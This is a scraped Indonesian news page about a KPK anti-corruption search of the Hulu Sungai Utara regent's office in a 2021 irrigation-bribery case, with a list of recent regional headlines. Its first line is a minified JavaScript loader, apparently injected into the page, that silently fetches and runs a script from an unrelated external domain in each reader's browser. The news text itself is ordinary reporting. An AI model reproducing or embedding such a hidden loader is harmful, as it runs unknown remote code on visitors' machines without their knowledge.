(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Hulu Sungai Utara

Rombongan Penyidik KPK Geledah Ruang Kerja Bupati HSU


KANALKALIMANTAN.COM, AMUNTAI – Langkah Komisi Pemberantasan Korupsi (KPK) mengusut kasus suap proyek irigasi di Kabupaten Hulu Sungai Utara (HSU) pasca operasi tangkap tangan (OTT) Plt Kadis PUPR HSU dan dua rekanan, terus berlanjut.

Setelah menggeledah kantor Dinas PUPR, rumah tiga tersangka, rumah dinas Bupati HSU, giliran ruang kerja Bupati HSU H Abdul Wahid yang diobok-obok, Selasa (21/9/2021) pukul 12.00 Wita.

Sejumlah penyidik dengan menggunakan rompi KPK, mendatangi kantor Bupati HSU di Jalan Ahmad Yani No 12 Kelurahan Murung Sari, Amuntai Tengah. Tentu saja, kedatangan rombongan penyidik ini juga turut mengundang perhatian ASN yang bertugas di kantor Bupati.

Informasi yang dihimpun Kanalkalimantan.com, penggeledahan tersebut hingga saat ini masih berlangsung. Belum diketahui, apakah Bupati Wahid ikut hadir dalam penggeledahan tersebut. Sejumlah sumber yang dikonfirmasi masih belum memberikan keterangan terkait penggeledahan tersebut.

 

 

Sementara itu, Kapolres HSU AKBP Afri Darmawan kepada media mengatakan membenarkan adanya penggeledahan ruang kerja Bupati HSU oleh penyidik KPK.

Baca juga: Dua Indikator Bikin PPKM di Banjarbaru Masih Level 4, Ini Penjelasan Kadinkes

“Saat ini masih berlangsung. Kami hanya diminta membantu pengamanan saja,” katanya.

Sebelumnya, pemeriksaan maraton dilakukan penyidik KPK pasca penetapan tiga tersangka kasus korupsi proyek irigasi di HSU. Setelah sehari sebelumnya menggeledah rumah dinas (Rumdin) Bupati HSU dan rumah Plt Kadis PUPR HSU Maliki, Senin (20/9/2021), KPK juga mengobok-obok rumah dua pengusaha pelaku penyuapan, serta kantor Dinas Pekerjaan Umum Penataan Ruang dan Pertanahan (PUPRP) HSU.

Pada penggeledahan di Dinas PUPR, nampak sejumlah mobil penyidik KPK parkir di halaman kantor. Hingga berita ini diturunkan, penggeledahan masih berlangsung.

Penggeledahan tersebut juga mendapatkan pengamanan dari petugas Polres HSU untuk mengantisipasi hal yang tak diinginkan.

KPK juga melakukan penggeledahan di rumah Direktur CV Hanamas, Marhaini di Jalan Abdul Hamidan, Desa Sungai Karias, Amuntai dan rumah Direktur CV Kalpataru Fachriadi di Jalan Kuripan, Kelurahan Murung Sari, Amuntai. Keduanya sebelumnya telah ditetapkan sebagai tersangka oleh KPK bersama tersangka Plt Kadis PUPR HSU Maliki. (kanalkalimantan.com/red)

Reporter: red
Editor: cell


Risa

Recent Posts

65 Peserta Calon Guru Penggerak di Kabupaten Banjar Ikuti Lokakarya

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur mengingatkan para tenaga pengajar bahwa yantangan di… Read More

23 menit ago

Bupati Banjar Buka Temu Teknis Penyuluh Pertanian se Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Temu Teknis Penyuluh Pertanian se Kabupaten… Read More

35 menit ago

DPRD Banjarbaru Target Tiga Raperda Inisiatif Selesai Dalam Tiga Bulan

KANALKALIMANTAN.COM, BANJARBARU - Tiga buah Rancangan Peraturan Daerah (Raperda) inisiatif ditargetkan selesai dalam waktu tiga… Read More

2 jam ago

Pengurus DPC Perwira Kabupaten Banjar Periode 2024-2029 Dilantik

KANALKALIMANTAN.COM, MARTAPURA - Ketua DPD Perkumpulan Perempuan Wirausaha Indonesia (Perwira) Kalimantan Selatan, Wahidah melantik 33… Read More

6 jam ago

Berbaur dengan Masyarakat, Bupati dan Wabup Banjar Nobar Indonesia Vs Uzbekistan

KANALKALIMANTAN.COM, MARTAPURA - Alun-alun Ratu Zalecha, Martapura dipilih menjadi tempat nonton bareng (nobar) Semi Final… Read More

7 jam ago

Diakhiri Nobar Timnas, Pj Bupati Kapuas Menutup Expo Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi secara resmi menutup gelaran Expo… Read More

9 jam ago

This website uses cookies.